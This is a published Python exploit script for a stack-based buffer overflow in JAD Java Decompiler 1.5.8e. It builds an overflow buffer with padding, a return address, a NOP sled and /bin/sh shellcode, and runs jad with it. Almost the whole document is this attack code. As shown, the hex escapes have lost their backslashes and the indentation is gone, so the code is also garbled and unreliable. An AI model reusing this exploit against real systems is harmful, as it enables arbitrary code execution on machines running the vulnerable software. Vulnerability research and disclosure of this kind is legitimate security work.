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JAD Java Decompiler 1.5.8e Buffer Overflow

Posted on 27 May 2017

#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is
# prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Package details:
# Version: 1.5.8e-1kali1
# Architecture: all
#
# Vendor homepage: http://www.varaneckas.com/jad/
#

import os,subprocess

junk = "x41" * 8150 # junk to offset
nops = "x90" * 24 # nops
shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
esp = "x18x2ex0ex08" # rop call $esp from jad
buffer = junk + esp + nops + shellcode # craft the buffer

try:
print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["jad", buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "JAD not found!"
else:
print "Error executing exploit"
raise

 

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